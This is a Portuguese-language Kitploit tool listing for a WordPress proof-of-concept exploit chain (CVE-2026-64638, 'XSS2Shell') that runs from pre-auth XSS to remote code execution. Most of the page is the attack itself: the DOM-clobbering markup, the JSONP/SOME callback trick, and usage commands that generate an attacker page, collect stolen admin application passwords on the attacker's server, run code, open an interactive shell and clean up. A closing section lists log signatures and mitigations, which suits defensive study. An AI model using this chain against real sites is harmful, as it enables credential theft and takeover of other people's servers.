Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
poc-CVE-2026-64638- — Cadeia de exploit PoC para XSS de pré-autenticação a RCE no WordPress via DOM clobbering, REST JSONP/SOME e upload de plugin, com verificação em laboratório Docker e shell interativa. | Kitploit
Ferramentas/GitHubGitHub/mohwahyudi/poc-cve-2026-64638-
Ferramentas de PhishingGeração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoEngenharia SocialRed Teaming

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
mohwahyudi/poc-cve-2026-64638-

poc-CVE-2026-64638-

Cadeia de exploit PoC para XSS de pré-autenticação a RCE no WordPress via DOM clobbering, REST JSONP/SOME e upload de plugin, com verificação em laboratório Docker e shell interativa.

Ver Repositório
6há 1 mêsAinda não revisado

XSS2Shell — CVE-2026-64638 PoC

Cadeia de exploração WordPress Pre-Auth XSS → RCE, baseada em pesquisa de pwn.ai publicada em ionsec.io.

⚠️ AVISO LEGAL: Apenas para FINS EDUCACIONAIS e TESTES AUTORIZADOS. Use somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.

Verificação em Laboratório

EtapaTécnicaStatus
1XSS por diferença de parser (sanitize_user + lacuna de parsing do navegador)✅ Verificada
2DOM clobbering (<area id=ajaxurl>, <div id=color-picker>)✅ Verificado
3Disparo automático via user-profile.js na página de login✅ Verificado
4Callback JSONP da REST permite travessia de ponto (window.opener.approve.click)✅ Verificado
5Sobrescrita via _method=GET + _envelope=1✅ Verificada
6Roubo de senha de aplicativo (SOME)⚠️ Exige clique do admin
7Upload de plugin → execução de PHP (sem ativação)⚠️ Exige credenciais

Consulte lab/VERIFICATION_REPORT.md para obter detalhes completos.

Resumo da Vulnerabilidade

Cadeia de Exploração (7 Etapas)

root@kitploit:~
Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

Início Rápido

1. Instalar dependências

root@kitploit:~
pip install requests

2. Reconhecimento do alvo

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

3. Laboratório Docker (para testes)

root@kitploit:~
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

4. Verificar o vetor XSS no laboratório

root@kitploit:~
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

5. Gerar página do atacante

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

Envie xss2shell_attacker.html e collect.php para o seu servidor.

6. Enviar link para o administrador

Um administrador WordPress autenticado deve visitar a página do atacante e clicar uma vez.

7. Receber credenciais

As credenciais aparecem em collected_creds.json no seu servidor:

root@kitploit:~
[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

8. Executar a cadeia de RCE

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

9. Shell interativo

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

10. Limpeza

root@kitploit:~
python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

Detecção (Forense de Logs)

Assinaturas para procurar nos logs do servidor:

  • Log de acesso: POST /wp-login.php com corpo contendo < area, < div, < button
  • Log de acesso: requisição REST com o parâmetro de consulta _jsonp= (especialmente _jsonp=a.b.c — o ponto é o indicativo de SOME)
  • Log de acesso: _envelope=1 + _method=GET em rotas que deveriam rejeitá-los
  • Log de acesso: POST /wp-admin/update.php?action=upload-plugin de IP não reconhecido
  • Log de acesso: GET /wp-content/plugins/{unknown-plugin}/*.php — arquivo PHP em um plugin nunca ativado
  • Log do aplicativo: senha de aplicativo criada em segundos após uma requisição a authorize-application.php

Mitigação

  1. Aplique patch para WordPress 7.0.3 (ou a versão pontual mais recente do seu ramo)
  2. Rode todas as senhas de aplicativo dos administradores
  3. Desative senhas de aplicativo se não forem necessárias:
    root@kitploit:~
    add_filter('wp_is_application_passwords_available', '__return_false');
    
  4. Desative o JSONP da REST:
    root@kitploit:~
    add_filter('rest_jsonp_enabled', '__return_false');
    
  5. Desative modificações de arquivos:
    root@kitploit:~
    define('DISALLOW_FILE_MODS', true);
    
  6. Regras de WAF: bloqueie _jsonp=, _envelope= em endpoints REST; bloqueie < area no corpo POST para wp-login.php

Estrutura de Arquivos

root@kitploit:~
xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests

Referências

  • IonSec — XSS2Shell: WordPress Pre-Auth XSS to RCE
  • pwn.ai — Descoberta original
  • WordPress Security Releases
Baixar ferramenta
ItemDetalhe
CVECVE-2026-64638
CVSS 4.08.9
AfetadosWordPress 4.7 – 7.0.2 (versões pontuais sem correção)
Corrigido emWordPress 7.0.3 (6 de agosto de 2026), com backport para todos os ramos de manutenção
AutenticaçãoPré-autenticação (XSS não autenticado)
ImpactoRCE via upload de plugin